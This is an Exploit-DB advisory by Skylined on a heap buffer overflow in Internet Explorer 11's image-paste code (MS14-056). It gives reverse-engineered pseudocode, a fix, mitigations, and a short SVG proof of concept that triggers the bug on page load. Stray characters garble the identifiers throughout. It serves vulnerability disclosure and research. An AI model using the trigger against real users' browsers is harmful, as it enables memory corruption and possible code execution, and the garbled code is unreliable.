Exploit-DB #40960
Description: Microsoft Internet Explorer 11 - MSHTML CPaste­Command::Convert­Bitmapto­Png Heap Buffer Overflow (MS14-056)
Type: dos
Platform: windows
Date: 2016-12-22
Author: Skylined

Exploit:
<!--
Source: http://blog.skylined.nl/[PII_REDACTED]1.html

Synopsis

A specially crafted web-page can trigger an out-of-bounds write in Microsoft Internet Explorer 11. Code that handles pasting images from the clipboard uses an incorrect buffer length, which allows writing beyond the boundaries of a heap-based buffer. An attacker able to trigger this vulnerability can execute arbitrary code.

Known affected software, attack vectors and potential mitigations

Microsoft Internet Explorer 11.0.9600.16521

An attacker would need to get a target user to open a specially crafted web-page. In order to trigger the issue, the web-page needs to either programmatically copy/paste an image using Javascript or get the user to do this (for instance by tricking the user into typing keyboard shortcuts such as CTRL+C/CTRL+V) . By default, MSIE prompts the user to allow or disallow programmatically copy/pasting the first time a website tries to do this, so user-interaction is normally required in such cases. Disabling the Allow Programmatic clipboard access setting in Internet Options -> Security Settings -> [Choose a zone] -> Scripting should prevent websites from programmatically copy/pasting an image. Disabling execution of scripts on web-pages altogether will have the same effect. Please note that neither option prevents a website from social engineering the user into typing a keyboard shortcut to copy/paste the image.

Details

When an image is pasted in MSHTML, it gets converted from BMP format to PNG. This is done in the MSHTML!CPasteôÙCommand::ConvertôÙBitmaptoôÙPng function. This function incorrectly uses the size of the original BMP image to allocate memory for storing the converted PNG image. The PNG image will be smaller than the BMP under most circumstances, but if a specially crafted image leads to the original BMP image being smaller than the converted PNG, the function will write PNG data beyond the bounds of the allocated memory.

Here is some pseudo code that was created by reverse engineering the CPasteôÙCommand::ConvertôÙBitmaptoôÙPng function, which shows the vulnerability:

ConvertôÙBitmaptoôÙPng(
  [IN] VOID* poôÙBitmap,  UINT uôÙBitmapôÙSize,
  [OUT] VOID** ppoôÙPngôÙImage, UINT* puôÙPngôÙImageôÙSize
) {
  // Convert a BMP formatted image to a PNG formatted image.
  CMemôÙStm* poôÙCMemôÙStm;
  IWICStream* poôÙWicôÙBitmap;
  STATSTG oôÙStatôÙStg;
  TSmartôÙArray<unsigned char> poôÙPngôÙImage;
  UINT uôÙReadôÙSize;
  // Create a CMemôÙStm for the PNG image.
  CreateôÙStreamôÙOnôÙHGlobal(NULL, True, poôÙCMemôÙStm);
  // Create an IWICStream from the BMP image.
  InitializeôÙFromôÙMemory(poôÙBitôÙMap, uôÙBitmapôÙSize,
      &GUID_ôÙContainerôÙFormatôÙBmp, &poôÙWicôÙBitmap)));
  // Write BMP image in IWICStream to PNG image in CMemôÙStm
  WriteôÙWicôÙBitmapôÙToôÙStream(poôÙWicôÙBitmap, &GUID_ôÙContainerôÙFormatôÙPng, poôÙCMemôÙStm);
  // Get size of PNG image in CMemôÙStm and save it to the output variable.
  oôÙCMemôÙStm->Stat(&oôÙStatôÙStg, 0);
  *puôÙPngôÙImageôÙSize = oôÙStatôÙStg.cbôÙSize.LowôÙPart;
  // Allocate memory for the PNG
  poôÙPngôÙImage->New(uôÙBitmapôÙSize);
  // Go to start of PNG image in CMemôÙStm
  poôÙCMemôÙStm->Seek(0, STREAM_ôÙSEEK_ôÙSET, NULL, &pôÙPositionôÙLow);
  // Read PNG image in CMemôÙStm to allocated memory.
  poôÙCMemôÙStm->Read(poôÙPngôÙImage, *puôÙPngôÙImageôÙSize, &uôÙReadôÙSize);
  // Save location of allocated memory with PNG image to output variable.
  *ppoôÙPngôÙImage = poôÙPngôÙImage;
}

Notes:

The code uses the wrong size to allocate memory in poôÙPngôÙImage->New(uôÙBitmapôÙSize);. Changing this line of code to poôÙPngôÙImage->New(*puôÙPngôÙImageôÙSize); should address the issue.
The PNG image is written to the allocated memory in poôÙCMemôÙStm->Read(poôÙPngôÙImage, *puôÙPngôÙImageôÙSize, &uôÙReadôÙSize);. This is where the code can potentially write beyond the boundaries of the allocated memory if uôÙBitmapôÙSize is smaller than *puôÙPngôÙImageôÙSize.

Repro.svg:
-->

<svg style="width:1px; height: 1px;" xmlns="http://www.w3.org/2000/svg">
  <script>
    window.onload = function () {
      document.designôÙMode="on";
      document.execôÙCommand("SelectôÙAll");/*exec*/
      window.getôÙSelection().collapseôÙToôÙEnd();/*js_ôÙom*/
      document.execôÙCommand("Copy");/*exec*/
      document.execôÙCommand("Paste", false);/*exec*/
    }
  </script>
</svg>

<!--
Below are my notes from reversing the code for your viewing pleasure. There are a few flaws/omissions in the parts that are not directly relevant to the bug, as I did not attempt to finish all the details after I figured out enough to determine root cause, exploitability and attack vectors.

MSHTML!CPasteôÙCommand..ConvertôÙBitmaptoôÙPng.txt
MSHTML!CPasteôÙCommand::ConvertôÙBitmaptoôÙPng(                                                                                                                       
    VOID* poôÙBitmap<ebp+8>,                                                                                                                                      
    UINT uôÙBitmapôÙSize<ebp+c>,                                                                                                                                    
    BYTE[]** ppoôÙPngôÙImage<ebp+10>,                                                                                                                               
    UINT* puôÙPngôÙImageôÙSize<ebp+14>):                                                                                                                            
-50 STATSTG oôÙStatôÙStg {                                                                                                                                          
  -50 00 04 LPOLESTR       pwcsôÙName;                                                                                                                            
  -4C 04 04 DWORD          type;